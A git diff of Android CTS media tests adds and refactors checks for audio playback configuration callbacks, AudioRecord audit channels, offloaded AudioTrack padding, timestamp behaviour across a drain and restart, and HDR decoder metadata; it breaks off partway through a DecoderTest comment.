diff --git a/tests/tests/media/src/android/media/cts/AudioPlaybackConfigurationTest.java b/tests/tests/media/src/android/media/cts/AudioPlaybackConfigurationTest.java
index 04023fd..e9e4472 100644
--- a/tests/tests/media/src/android/media/cts/AudioPlaybackConfigurationTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioPlaybackConfigurationTest.java
@@ -20,6 +20,7 @@
 import static android.media.AudioAttributes.ALLOW_CAPTURE_BY_NONE;
 import static android.media.AudioAttributes.ALLOW_CAPTURE_BY_SYSTEM;
 
+import android.annotation.Nullable;
 import android.content.pm.PackageManager;
 import android.media.AudioAttributes;
 import android.media.AudioAttributes.CapturePolicy;
@@ -50,6 +51,7 @@
     static final String mInpPrefix = WorkDir.getMediaDirString();
     private final static int TEST_TIMING_TOLERANCE_MS = 150;
     private final static int TEST_TIMEOUT_SOUNDPOOL_LOAD_MS = 3000;
+    private final static long MEDIAPLAYER_PREPARE_TIMEOUT_MS = 2000;
 
     // not declared inside test so it can be released in case of failure
     private MediaPlayer mMp;
@@ -90,8 +92,8 @@
                 .setContentType(TEST_CONTENT)
                 .setAllowedCapturePolicy(ALLOW_CAPTURE_BY_NONE)
                 .build();
-        mMp = MediaPlayer.create(getContext(),
-                Uri.fromFile(new File(mInpPrefix + "sine1khzs40dblong.mp3")), null, aa,
+        mMp = createPreparedMediaPlayer(
+                Uri.fromFile(new File(mInpPrefix + "sine1khzs40dblong.mp3")), aa,
                 am.generateAudioSessionId());
         mMp.start();
         Thread.sleep(TEST_TIMING_TOLERANCE_MS);// waiting for playback to start
@@ -139,8 +141,8 @@
         List<AudioPlaybackConfiguration> configs = am.getActivePlaybackConfigurations();
         final int nbActivePlayersBeforeStart = configs.size();
 
-        mMp = MediaPlayer.create(getContext(),
-                Uri.fromFile(new File(mInpPrefix + "sine1khzs40dblong.mp3")), null, aa,
+        mMp = createPreparedMediaPlayer(
+                Uri.fromFile(new File(mInpPrefix + "sine1khzs40dblong.mp3")), aa,
                 am.generateAudioSessionId());
         configs = am.getActivePlaybackConfigurations();
         assertEquals("inactive MediaPlayer, number of configs shouldn't have changed",
@@ -160,6 +162,7 @@
         final Method getClientUidMethod = confClass.getDeclaredMethod("getClientUid");
         final Method getClientPidMethod = confClass.getDeclaredMethod("getClientPid");
         final Method getPlayerTypeMethod = confClass.getDeclaredMethod("getPlayerType");
+        final Method getSessionIdMethod = confClass.getDeclaredMethod("getSessionId");
         try {
             Integer uid = (Integer) getClientUidMethod.invoke(config, (Object[]) null);
             assertEquals("uid isn't protected", -1 /*expected*/, uid.intValue());
@@ -167,6 +170,8 @@
             assertEquals("pid isn't protected", -1 /*expected*/, pid.intValue());
             Integer type = (Integer) getPlayerTypeMethod.invoke(config, (Object[]) null);
             assertEquals("player type isn't protected", -1 /*expected*/, type.intValue());
+            Integer sessionId = (Integer) getSessionIdMethod.invoke(config, (Object[]) null);
+            assertEquals("session ID isn't protected", 0 /*expected*/, sessionId.intValue());
         } catch (Exception e) {
             fail("Exception thrown during reflection on config privileged fields"+ e);
         }
@@ -192,35 +197,33 @@
             h = null;
         }
 
+        AudioManager am = new AudioManager(getContext());
+        assertNotNull("Could not create AudioManager", am);
+
+        MyAudioPlaybackCallback callback = new MyAudioPlaybackCallback();
+
+        MyAudioPlaybackCallback registeredCallback = null;
+
+        final AudioAttributes aa = (new AudioAttributes.Builder())
+                .setUsage(TEST_USAGE)
+                .setContentType(TEST_CONTENT)
+                .build();
+
         try {
-            AudioManager am = new AudioManager(getContext());
-            assertNotNull("Could not create AudioManager", am);
-
-            final AudioAttributes aa = (new AudioAttributes.Builder())
-                    .setUsage(TEST_USAGE)
-                    .setContentType(TEST_CONTENT)
-                    .build();
-
-            mMp = MediaPlayer.create(getContext(),
-                    Uri.fromFile(new File(mInpPrefix + "sine1khzs40dblong.mp3")), null, aa,
+            mMp =  createPreparedMediaPlayer(
+                    Uri.fromFile(new File(mInpPrefix + "sine1khzs40dblong.mp3")), aa,
                     am.generateAudioSessionId());
 
-            MyAudioPlaybackCallback callback = new MyAudioPlaybackCallback();
             am.registerAudioPlaybackCallback(callback, h /*handler*/);
+            registeredCallback = callback;
 
             // query how many active players before starting the MediaPlayer
             List<AudioPlaybackConfiguration> configs = am.getActivePlaybackConfigurations();
             final int nbActivePlayersBeforeStart = configs.size();
 
-            mMp.start();
-            Thread.sleep(TEST_TIMING_TOLERANCE_MS);
+            assertPlayerStartAndCallbackWithPlayerAttributes(mMp, callback,
+                    nbActivePlayersBeforeStart + 1, aa);
 
-            assertEquals("onPlaybackConfigChanged call count not expected",
-                    1/*expected*/, callback.getCbInvocationNumber()); //only one start call
-            assertEquals("number of active players not expected",
-                    // one more player active
-                    nbActivePlayersBeforeStart + 1/*expected*/, callback.getNbConfigs());
-            assertTrue("Active player, attributes not found", hasAttr(callback.getConfigs(), aa));
 
             // stopping playback: callback is called with no match
             callback.reset();
@@ -234,6 +237,7 @@
 
             // unregister callback and start playback again
             am.unregisterAudioPlaybackCallback(callback);
+            registeredCallback = null;
             Thread.sleep(TEST_TIMING_TOLERANCE_MS);
             callback.reset();
             mMp.start();
@@ -246,6 +250,9 @@
                     (AudioManager.AudioPlaybackCallback) callback;
             apc.onPlaybackConfigChanged(new ArrayList<AudioPlaybackConfiguration>());
         } finally {
+            if (registeredCallback != null) {
+                am.unregisterAudioPlaybackCallback(registeredCallback);
+            }
             if (h != null) {
                 h.getLooper().quit();
             }
@@ -257,35 +264,30 @@
         handlerThread.start();
         final Handler h = new Handler(handlerThread.getLooper());
 
+        AudioManager am = new AudioManager(getContext());
+        assertNotNull("Could not create AudioManager", am);
+
+        MyAudioPlaybackCallback callback = new MyAudioPlaybackCallback();
+
+        final AudioAttributes aa = (new AudioAttributes.Builder())
+                .setUsage(TEST_USAGE)
+                .setContentType(TEST_CONTENT)
+                .build();
+
         try {
-            AudioManager am = new AudioManager(getContext());
-            assertNotNull("Could not create AudioManager", am);
-
-            final AudioAttributes aa = (new AudioAttributes.Builder())
-                    .setUsage(TEST_USAGE)
-                    .setContentType(TEST_CONTENT)
-                    .build();
-
-            mMp = MediaPlayer.create(getContext(),
-                    Uri.fromFile(new File(mInpPrefix + "sine1khzs40dblong.mp3")), null, aa,
+            mMp = createPreparedMediaPlayer(
+                    Uri.fromFile(new File(mInpPrefix + "sine1khzs40dblong.mp3")), aa,
                     am.generateAudioSessionId());
 
-            MyAudioPlaybackCallback callback = new MyAudioPlaybackCallback();
             am.registerAudioPlaybackCallback(callback, h /*handler*/);
 
             // query how many active players before starting the MediaPlayer
-            List<AudioPlaybackConfiguration> configs = am.getActivePlaybackConfigurations();
+            List<AudioPlaybackConfiguration> configs =
+                    am.getActivePlaybackConfigurations();
             final int nbActivePlayersBeforeStart = configs.size();
 
-            mMp.start();
-            Thread.sleep(TEST_TIMING_TOLERANCE_MS);
-
-            assertEquals("onPlaybackConfigChanged call count not expected",
-                    1/*expected*/, callback.getCbInvocationNumber()); //only one start call
-            assertEquals("number of active players not expected",
-                    // one more player active
-                    nbActivePlayersBeforeStart + 1/*expected*/, callback.getNbConfigs());
-            assertTrue("Active player, attributes not found", hasAttr(callback.getConfigs(), aa));
+            assertPlayerStartAndCallbackWithPlayerAttributes(mMp, callback,
+                    nbActivePlayersBeforeStart + 1, aa);
 
             // release the player without stopping or pausing it first
             callback.reset();
@@ -297,8 +299,8 @@
             assertEquals("number of active players not expected after release",
                     nbActivePlayersBeforeStart/*expected*/, callback.getNbConfigs());
 
-            am.unregisterAudioPlaybackCallback(callback);
         } finally {
+            am.unregisterAudioPlaybackCallback(callback);
             if (h != null) {
                 h.getLooper().quit();
             }
@@ -310,6 +312,7 @@
 
         AudioManager am = new AudioManager(getContext());
         assertNotNull("Could not create AudioManager", am);
+
         MyAudioPlaybackCallback callback = new MyAudioPlaybackCallback();
         am.registerAudioPlaybackCallback(callback, null /*handler*/);
 
@@ -370,6 +373,80 @@
                 nbActivePlayersBeforeStart, nbActivePlayersAfterPause);
     }
 
+    public void testGetAudioDeviceInfoMediaPlayerStart() throws Exception {
+        if (!isValidPlatform("testGetAudioDeviceInfoMediaPlayerStart")) return;
+
+        final HandlerThread handlerThread = new HandlerThread(TAG);
+        handlerThread.start();
+        final Handler h = new Handler(handlerThread.getLooper());
+
+        AudioManager am = new AudioManager(getContext());
+        assertNotNull("Could not create AudioManager", am);
+
+        MyAudioPlaybackCallback callback = new MyAudioPlaybackCallback();
+
+        final AudioAttributes aa = (new AudioAttributes.Builder())
+                .setUsage(TEST_USAGE)
+                .setContentType(TEST_CONTENT)
+                .build();
+
+        try {
+            mMp = createPreparedMediaPlayer(
+                    Uri.fromFile(new File(mInpPrefix + "sine1khzs40dblong.mp3")), aa,
+                    am.generateAudioSessionId());
+
+            am.registerAudioPlaybackCallback(callback, h /*handler*/);
+
+            // query how many active players before starting the MediaPlayer
+            List<AudioPlaybackConfiguration> configs =
+                    am.getActivePlaybackConfigurations();
+            final int nbActivePlayersBeforeStart = configs.size();
+
+            assertPlayerStartAndCallbackWithPlayerAttributes(mMp, callback,
+                    nbActivePlayersBeforeStart + 1, aa);
+
+            assertTrue("Active player, device not found",
+                    hasDevice(callback.getConfigs(), aa));
+
+        } finally {
+            am.unregisterAudioPlaybackCallback(callback);
+            if (h != null) {
+                h.getLooper().quit();
+            }
+        }
+    }
+
+    private @Nullable MediaPlayer createPreparedMediaPlayer(
+            Uri uri, AudioAttributes aa, int session) throws Exception {
+        final TestUtils.Monitor onPreparedCalled = new TestUtils.Monitor();
+        final MediaPlayer mp = MediaPlayer.create(getContext(), uri, null, aa, session);
+        mp.setOnPreparedListener(new MediaPlayer.OnPreparedListener() {
+            @Override
+            public void onPrepared(MediaPlayer mp) {
+                onPreparedCalled.signal();
+            }
+        });
+        onPreparedCalled.waitForSignal(MEDIAPLAYER_PREPARE_TIMEOUT_MS);
+        assertTrue(
+                "MediaPlayer wasn't prepared in under " + MEDIAPLAYER_PREPARE_TIMEOUT_MS + " ms",
+                onPreparedCalled.isSignalled());
+        return mp;
+    }
+
+    private void assertPlayerStartAndCallbackWithPlayerAttributes(
+            MediaPlayer mp, MyAudioPlaybackCallback callback,
+            int activePlayerCount, AudioAttributes aa) throws Exception{
+        mp.start();
+        Thread.sleep(TEST_TIMING_TOLERANCE_MS);
+
+        assertTrue("onPlaybackConfigChanged call count should have increased after start",
+                callback.getCbInvocationNumber() > 0); //one or more calls (start, device)
+        assertEquals("number of active players not expected",
+                // one more player active
+                activePlayerCount/*expected*/, callback.getNbConfigs());
+        assertTrue("Active player, attributes not found", hasAttr(callback.getConfigs(), aa));
+    }
+
     private static class MyAudioPlaybackCallback extends AudioManager.AudioPlaybackCallback {
         private final Object mCbLock = new Object();
         @GuardedBy("mCbLock")
@@ -426,6 +503,22 @@
         return false;
     }
 
+    private static boolean hasDevice(List<AudioPlaybackConfiguration> configs, AudioAttributes aa) {
+        for (AudioPlaybackConfiguration apc : configs) {
+            if (apc.getAudioAttributes().getContentType() == aa.getContentType()
+                    && apc.getAudioAttributes().getUsage() == aa.getUsage()
+                    && apc.getAudioAttributes().getFlags() == aa.getFlags()
+                    && anonymizeCapturePolicy(apc.getAudioAttributes().getAllowedCapturePolicy())
+                            == aa.getAllowedCapturePolicy()
+                    // FIXME see b/179218630
+                    //&& apc.getAudioDeviceInfo() != null
+            ) {
+                return true;
+            }
+        }
+        return false;
+    }
+
     /** ALLOW_CAPTURE_BY_SYSTEM is anonymized to ALLOW_CAPTURE_BY_NONE. */
     @CapturePolicy
     private static int anonymizeCapturePolicy(@CapturePolicy int policy) {
diff --git a/tests/tests/media/src/android/media/cts/AudioRecordTest.java b/tests/tests/media/src/android/media/cts/AudioRecordTest.java
index e14a6c5..db41603 100644
--- a/tests/tests/media/src/android/media/cts/AudioRecordTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioRecordTest.java
@@ -19,6 +19,7 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 import static org.testng.Assert.assertThrows;
@@ -385,6 +386,30 @@
                 AudioFormat.ENCODING_PCM_16BIT);
     }
 
+    // Audit buffers can run out of space with high numbers of channels,
+    // so keep the sample rate low.
+    @Test
+    public void testAudioRecordAuditChannelIndex3() throws Exception {
+        doTest("audit_channel_index_3", true /*localRecord*/, true /*customHandler*/,
+                2 /*periodsPerSecond*/, 0 /*markerPeriodsPerSecond*/,
+                true /*useByteBuffer*/, false /*blocking*/,
+                true /*auditRecording*/, true /*isChannelIndex*/, 16000 /*TEST_SR*/,
+                (1 << 0) | (1 << 1) | (1 << 2)  /* 3 channels */,
+                AudioFormat.ENCODING_PCM_24BIT_PACKED);
+    }
+
+    // Audit buffers can run out of space with high numbers of channels,
+    // so keep the sample rate low.
+    @Test
+    public void testAudioRecordAuditChannelIndex1() throws Exception {
+        doTest("audit_channel_index_1", true /*localRecord*/, true /*customHandler*/,
+                2 /*periodsPerSecond*/, 0 /*markerPeriodsPerSecond*/,
+                true /*useByteBuffer*/, false /*blocking*/,
+                true /*auditRecording*/, true /*isChannelIndex*/, 24000 /*TEST_SR*/,
+                (1 << 0)  /* 1 channels */,
+                AudioFormat.ENCODING_PCM_32BIT);
+    }
+
     // Test AudioRecord.Builder to verify the observed configuration of an AudioRecord built with
     // an empty Builder matches the documentation / expected values
     @Test
@@ -577,7 +602,7 @@
                 final short[] shortData = new short[BUFFER_SAMPLES];
                 final AudioHelper.TimestampVerifier tsVerifier =
                         new AudioHelper.TimestampVerifier(TAG, RECORD_SAMPLE_RATE,
-                                isProAudioDevice());
+                                0 /* startFrames */, isProAudioDevice());
 
                 while (samplesRead < targetSamples) {
                     final int amount = samplesRead == 0 ? numChannels :
@@ -1027,6 +1052,17 @@
 
         AudioRecordingConfiguration config = mAudioRecord.getActiveRecordingConfiguration();
         checkRecordingConfig(config);
+
+        mAudioRecord.release();
+        // test no exception is thrown when querying immediately after release()
+        // which is not a synchronous operation
+        config = mAudioRecord.getActiveRecordingConfiguration();
+        try {
+            Thread.sleep(TEST_TIMING_TOLERANCE_MS);
+        } catch (InterruptedException e) {
+        }
+        assertNull("Recording configuration not null after release",
+                mAudioRecord.getActiveRecordingConfiguration());
     }
 
     private static void checkRecordingConfig(AudioRecordingConfiguration config) {
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java b/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
index 887b868..0b0a3aa 100644
--- a/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
@@ -17,6 +17,7 @@
 
 package android.media.cts;
 
+import android.annotation.Nullable;
 import android.annotation.RawRes;
 import android.content.res.AssetFileDescriptor;
 import android.media.AudioAttributes;
@@ -29,7 +30,6 @@
 import com.android.compatibility.common.util.CtsAndroidTestCase;
 
 import javax.annotation.concurrent.GuardedBy;
-import java.io.IOException;
 import java.io.InputStream;
 import java.util.concurrent.Executor;
 
@@ -72,57 +72,100 @@
                 getAudioFormatWithEncoding(AudioFormat.ENCODING_MP3), DEFAULT_ATTR);
     }
 
+    public void testGetPlaybackOffloadSupportNullFormat() throws Exception {
+        try {
+            final int offloadMode = AudioManager.getPlaybackOffloadSupport(null,
+                    DEFAULT_ATTR);
+            fail("Shouldn't be able to use null AudioFormat in getPlaybackOffloadSupport()");
+        } catch (NullPointerException e) {
+            // ok, NPE is expected here
+        }
+    }
+
+    public void testGetPlaybackOffloadSupportNullAttributes() throws Exception {
+        try {
+            final int offloadMode = AudioManager.getPlaybackOffloadSupport(
+                    getAudioFormatWithEncoding(AudioFormat.ENCODING_MP3), null);
+            fail("Shouldn't be able to use null AudioAttributes in getPlaybackOffloadSupport()");
+        } catch (NullPointerException e) {
+            // ok, NPE is expected here
+        }
+    }
+
+    public void testExerciseGetPlaybackOffloadSupport() throws Exception {
+        final int offloadMode = AudioManager.getPlaybackOffloadSupport(
+                getAudioFormatWithEncoding(AudioFormat.ENCODING_MP3), DEFAULT_ATTR);
+        assertTrue("getPlaybackOffloadSupport returned invalid mode: " + offloadMode,
+            offloadMode == AudioManager.PLAYBACK_OFFLOAD_NOT_SUPPORTED
+                || offloadMode == AudioManager.PLAYBACK_OFFLOAD_SUPPORTED
+                || offloadMode == AudioManager.PLAYBACK_OFFLOAD_GAPLESS_SUPPORTED);
+    }
 
     public void testMP3AudioTrackOffload() throws Exception {
         testAudioTrackOffload(R.raw.sine1khzs40dblong,
-                              /* bitRateInkbps= */ 192,
-                              getAudioFormatWithEncoding(AudioFormat.ENCODING_MP3));
+                /* bitRateInkbps= */ 192,
+                getAudioFormatWithEncoding(AudioFormat.ENCODING_MP3));
     }
 
     public void testOpusAudioTrackOffload() throws Exception {
         testAudioTrackOffload(R.raw.testopus,
-                              /* bitRateInkbps= */ 118, // Average
-                              getAudioFormatWithEncoding(AudioFormat.ENCODING_OPUS));
+                /* bitRateInkbps= */ 118, // Average
+                getAudioFormatWithEncoding(AudioFormat.ENCODING_OPUS));
     }
 
-    /** Test offload of an audio resource that MUST be at least 3sec long. */
+    private @Nullable AudioTrack getOffloadAudioTrack(@RawRes int audioRes, int bitRateInkbps,
+                                            AudioFormat audioFormat) {
+        if (!AudioManager.isOffloadedPlaybackSupported(audioFormat, DEFAULT_ATTR)) {
+            Log.i(TAG, "skipping testAudioTrackOffload as offload encoding "
+                    + audioFormat.getEncoding() + " is not supported");
+            // cannot test if offloading is not supported
+            return null;
+        }
+
+        int bufferSizeInBytes = bitRateInkbps * 1000 * BUFFER_SIZE_SEC / 8;
+        // format is offloadable, test playback head is progressing
+        AudioTrack track = new AudioTrack.Builder()
+                .setAudioAttributes(DEFAULT_ATTR)
+                .setAudioFormat(audioFormat)
+                .setTransferMode(AudioTrack.MODE_STREAM)
+                .setBufferSizeInBytes(bufferSizeInBytes)
+                .setOffloadedPlayback(true)
+                .build();
+        assertNotNull("Couldn't create offloaded AudioTrack", track);
+        assertEquals("Unexpected track sample rate", AUDIOTRACK_DEFAULT_SAMPLE_RATE,
+                track.getSampleRate());
+        assertEquals("Unexpected track channel mask", AUDIOTRACK_DEFAULT_CHANNEL_MASK,
+                track.getChannelConfiguration());
+        return track;
+    }
+
+    /**
+     * Test offload of an audio resource that MUST be at least 3sec long.
+     */
     private void testAudioTrackOffload(@RawRes int audioRes, int bitRateInkbps,
                                        AudioFormat audioFormat) throws Exception {
         AudioTrack track = null;
-        int bufferSizeInBytes3sec = bitRateInkbps * 1024 * BUFFER_SIZE_SEC / 8;
         try (AssetFileDescriptor audioToOffload = getContext().getResources()
                 .openRawResourceFd(audioRes);
              InputStream audioInputStream = audioToOffload.createInputStream()) {
 
-            if (!AudioManager.isOffloadedPlaybackSupported(audioFormat, DEFAULT_ATTR)) {
-                Log.i(TAG, "skipping testAudioTrackOffload as offload for encoding "
-                           + audioFormat.getEncoding() + " is not supported");
-                // cannot test if offloading is not supported
+            track = getOffloadAudioTrack(audioRes, bitRateInkbps, audioFormat);
+            if (track == null) {
                 return;
             }
 
-            // format is offloadable, test playback head is progressing
-            track = new AudioTrack.Builder()
-                    .setAudioAttributes(DEFAULT_ATTR)
-                    .setAudioFormat(audioFormat)
-                    .setTransferMode(AudioTrack.MODE_STREAM)
-                    .setBufferSizeInBytes(bufferSizeInBytes3sec)
-                    .setOffloadedPlayback(true).build();
-            assertNotNull("Couldn't create offloaded AudioTrack", track);
-            assertEquals("Unexpected track sample rate", 44100, track.getSampleRate());
-            assertEquals("Unexpected track channel config", AudioFormat.CHANNEL_OUT_STEREO,
-                    track.getChannelConfiguration());
-
             try {
                 track.registerStreamEventCallback(mExec, null);
                 fail("Shouldn't be able to register null StreamEventCallback");
-            } catch (Exception e) { }
+            } catch (Exception e) {
+            }
             track.registerStreamEventCallback(mExec, mCallback);
 
+            int bufferSizeInBytes3sec = bitRateInkbps * 1000 * BUFFER_SIZE_SEC / 8;
             final byte[] data = new byte[bufferSizeInBytes3sec];
             final int read = audioInputStream.read(data);
             assertEquals("Could not read enough audio from the resource file",
-                         bufferSizeInBytes3sec, read);
+                    bufferSizeInBytes3sec, read);
 
             track.play();
             int written = 0;
@@ -180,6 +223,73 @@
         return (SystemClock.uptimeMillis() - checkStart);
     }
 
+    private AudioTrack allocNonOffloadAudioTrack() {
+        // Attrributes the AudioTrack are irrelevant in this case. We just need to provide
+        // an AudioTrack that IS NOT offloaded so that we can demonstrate failure.
+        AudioTrack track = new AudioTrack.Builder()
+                .setBufferSizeInBytes(2048/*arbitrary*/)
+                .build();
+
+        assert(track != null);
+        return track;
+    }
+
+     // Arbitrary values..
+    private static final int TEST_DELAY = 50;
+    private static final int TEST_PADDING = 100;
+    public void testOffloadPadding() {
+        AudioTrack track =
+                getOffloadAudioTrack(R.raw.sine1khzs40dblong,
+                /* bitRateInkbps= */ 192,
+                getAudioFormatWithEncoding(AudioFormat.ENCODING_MP3));
+        if (track == null) {
+            return;
+        }
+
+        assertTrue(track.getOffloadPadding() >= 0);
+
+        track.setOffloadDelayPadding(0 /*delayInFrames*/, 0 /*paddingInFrames*/);
+
+        int offloadDelay;
+        offloadDelay = track.getOffloadDelay();
+        assertEquals(0, offloadDelay);
+
+        int padding = track.getOffloadPadding();
+        assertEquals(0, padding);
+
+        track.setOffloadDelayPadding(
+                TEST_DELAY /*delayInFrames*/,
+                TEST_PADDING /*paddingInFrames*/);
+        offloadDelay = track.getOffloadDelay();
+        assertEquals(TEST_DELAY, offloadDelay);
+        padding = track.getOffloadPadding();
+        assertEquals(TEST_PADDING, padding);
+    }
+
+    public void testIsOffloadedPlayback() {
+        // non-offloaded case
+        AudioTrack nonOffloadTrack = allocNonOffloadAudioTrack();
+        assertFalse(nonOffloadTrack.isOffloadedPlayback());
+
+        // offloaded case
+        AudioTrack offloadTrack =
+                getOffloadAudioTrack(R.raw.sine1khzs40dblong,
+                        /* bitRateInkbps= */ 192,
+                        getAudioFormatWithEncoding(AudioFormat.ENCODING_MP3));
+        if (offloadTrack == null) {
+            return;
+        }
+        assertTrue(offloadTrack.isOffloadedPlayback());
+    }
+
+    public void testSetOffloadEndOfStreamWithNonOffloadedTrack() {
+        // Non-offload case
+        AudioTrack nonOffloadTrack = allocNonOffloadAudioTrack();
+        assertFalse(nonOffloadTrack.isOffloadedPlayback());
+        org.testng.Assert.assertThrows(IllegalStateException.class,
+                () -> nonOffloadTrack.setOffloadEndOfStream());
+    }
+
     private static AudioFormat getAudioFormatWithEncoding(int encoding) {
        return new AudioFormat.Builder()
             .setEncoding(encoding)
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackTest.java b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
index b8064c0..8824360 100755
--- a/tests/tests/media/src/android/media/cts/AudioTrackTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
@@ -2145,6 +2145,7 @@
                 streamName);
     }
 
+    // Note: this test may fail if playing through a remote device such as Bluetooth.
     private void doTestTimestamp(int sampleRate, int channelMask, int encoding, int transferMode,
             String streamName) throws Exception {
         // constants for test
@@ -2153,6 +2154,7 @@
         final int TEST_USAGE = AudioAttributes.USAGE_MEDIA;
 
         final int MILLIS_PER_SECOND = 1000;
+        final int FRAME_TOLERANCE = sampleRate * TEST_BUFFER_MS / MILLIS_PER_SECOND;
 
         // -------- initialization --------------
         final int frameSize =
@@ -2191,62 +2193,79 @@
             track.play();
 
             // Android nanoTime implements MONOTONIC, same as our audio timestamps.
-            final long trackStartTimeNs = System.nanoTime();
 
             final ByteBuffer data = ByteBuffer.allocate(frameCount * frameSize);
             data.order(java.nio.ByteOrder.nativeOrder()).limit(frameCount * frameSize);
             final AudioTimestamp timestamp = new AudioTimestamp();
 
             long framesWritten = 0;
-            final AudioHelper.TimestampVerifier tsVerifier =
-                    new AudioHelper.TimestampVerifier(TAG, sampleRate, isProAudioDevice());
-            for (int i = 0; i < TEST_LOOP_CNT; ++i) {
-                final long trackWriteTimeNs = System.nanoTime();
 
-                data.position(0);
-                assertEquals("write did not complete",
-                        data.limit(), track.write(data, data.limit(), AudioTrack.WRITE_BLOCKING));
-                assertEquals("write did not fill buffer",
-                        data.position(), data.limit());
-                framesWritten += data.limit() / frameSize;
+            // We start data delivery twice, the second start simulates restarting
+            // the track after a fully drained underrun (important case for Android TV).
+            for (int start = 0; start < 2; ++start) {
+                final long trackStartTimeNs = System.nanoTime();
+                final AudioHelper.TimestampVerifier tsVerifier =
+                        new AudioHelper.TimestampVerifier(
+                                TAG + "(start " + start + ")",
+                                sampleRate, framesWritten, isProAudioDevice());
+                for (int i = 0; i < TEST_LOOP_CNT; ++i) {
+                    final long trackWriteTimeNs = System.nanoTime();
 
-                // track.getTimestamp may return false if there are no physical HAL outputs.
-                // This may occur on TV devices without connecting an HDMI monitor.
-                // It may also be true immediately after start-up, as the mixing thread could
-                // be idle, but since we've already pushed much more than the minimum buffer size,
-                // that is unlikely.
-                // Nevertheless, we don't want to have unnecessary failures, so we ignore the
-                // first iteration if we don't get a timestamp.
-                final boolean result = track.getTimestamp(timestamp);
-                assertTrue("timestamp could not be read", result || i == 0);
-                if (!result) {
-                    continue;
+                    data.position(0);
+                    assertEquals("write did not complete",
+                            data.limit(), track.write(data, data.limit(),
+                            AudioTrack.WRITE_BLOCKING));
+                    assertEquals("write did not fill buffer",
+                            data.position(), data.limit());
+                    framesWritten += data.limit() / frameSize;
+
+                    // track.getTimestamp may return false if there are no physical HAL outputs.
+                    // This may occur on TV devices without connecting an HDMI monitor.
+                    // It may also be true immediately after start-up, as the mixing thread could
+                    // be idle, but since we've already pushed much more than the
+                    // minimum buffer size, that is unlikely.
+                    // Nevertheless, we don't want to have unnecessary failures, so we ignore the
+                    // first iteration if we don't get a timestamp.
+                    final boolean result = track.getTimestamp(timestamp);
+                    assertTrue("timestamp could not be read", result || i == 0);
+                    if (!result) {
+                        continue;
+                    }
+
+                    tsVerifier.add(timestamp);
+
+                    // Ensure that seen is greater than presented.
+                    // This is an "on-the-fly" read without pausing because pausing may cause the
+                    // timestamp to become stale and affect our jitter measurements.
+                    final long framesPresented = timestamp.framePosition;
+                    final int framesSeen = track.getPlaybackHeadPosition();
+                    assertTrue("server frames ahead of client frames",
+                            framesWritten >= framesSeen);
+                    assertTrue("presented frames ahead of server frames",
+                            framesSeen >= framesPresented);
                 }
+                // Full drain.
+                Thread.sleep(1000 /* millis */);
+                // check that we are really at the end of playback.
+                assertTrue("timestamp should be valid while draining",
+                        track.getTimestamp(timestamp));
+                // Fast tracks and sw emulated tracks may not fully drain.
+                // We log the status here.
+                if (framesWritten != timestamp.framePosition) {
+                    Log.d(TAG, "timestamp should fully drain.  written: "
+                            + framesWritten + " position: " + timestamp.framePosition);
+                }
+                final long framesLowerLimit = framesWritten - FRAME_TOLERANCE;
+                assertTrue("timestamp frame position needs to be close to written: "
+                                + timestamp.framePosition  + " >= " + framesLowerLimit,
+                        timestamp.framePosition >= framesLowerLimit);
 
-                tsVerifier.add(timestamp);
+                assertTrue("timestamp should not advance during underrun: "
+                        + timestamp.framePosition  + " <= " + framesWritten,
+                        timestamp.framePosition <= framesWritten);
 
-                // Ensure that seen is greater than presented.
-                // This is an "on-the-fly" read without pausing because pausing may cause the
-                // timestamp to become stale and affect our jitter measurements.
-                final long framesPresented = timestamp.framePosition;
-                final int framesSeen = track.getPlaybackHeadPosition();
-                assertTrue("server frames ahead of client frames",
-                        framesWritten >= framesSeen);
-                assertTrue("presented frames ahead of server frames",
-                        framesSeen >= framesPresented);
+                tsVerifier.verifyAndLog(trackStartTimeNs, streamName);
             }
-            // Full drain.
-            Thread.sleep(1000 /* millis */);
-            // check that we are really at the end of playback.
-            assertTrue("timestamp should be valid while draining", track.getTimestamp(timestamp));
-            // fast tracks and sw emulated tracks may not fully drain.  we log the status here.
-            if (framesWritten != timestamp.framePosition) {
-                Log.d(TAG, "timestamp should fully drain.  written: "
-                        + framesWritten + " position: " + timestamp.framePosition);
-            }
-
-            tsVerifier.verifyAndLog(trackStartTimeNs, streamName);
-
         } finally {
             track.release();
         }
diff --git a/tests/tests/media/src/android/media/cts/DecoderTest.java b/tests/tests/media/src/android/media/cts/DecoderTest.java
index b0efebe..ffc69e9 100644
--- a/tests/tests/media/src/android/media/cts/DecoderTest.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTest.java
@@ -34,6 +34,8 @@
 import android.media.MediaFormat;
 import android.os.ParcelFileDescriptor;
 import android.os.Build;
+import android.os.Handler;
+import android.os.HandlerThread;
 import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
 import android.view.Display;
@@ -323,6 +325,7 @@
                                 sampleRate,
                                 channelCount);
                         codec.configure(desiredFormat, null, null, 0);
+                        codec.start();
 
                         Log.d(TAG, "codec: " + codecInfo.getName() +
                                 " sample rate: " + sampleRate +
@@ -870,103 +873,111 @@
         }
     }
 
+    private static final String VP9_HDR_RES = "video_1280x720_vp9_hdr_static_3mbps.mkv";
+    private static final String VP9_HDR_STATIC_INFO =
+            "00 d0 84 80 3e c2 33 c4  86 4c 1d b8 0b 13 3d 42" +
+            "40 e8 03 64 00 e8 03 2c  01                     " ;
+
+    private static final String AV1_HDR_RES = "video_1280x720_av1_hdr_static_3mbps.webm";
+    private static final String AV1_HDR_STATIC_INFO =
+            "00 d0 84 80 3e c2 33 c4  86 4c 1d b8 0b 13 3d 42" +
+            "40 e8 03 64 00 e8 03 2c  01                     " ;
+
+    // Expected value of MediaFormat.KEY_HDR_STATIC_INFO key.
+    // The associated value is a ByteBuffer. This buffer contains the raw contents of the
+    // Static Metadata Descriptor (including the descriptor ID) of an HDMI Dynamic Range and
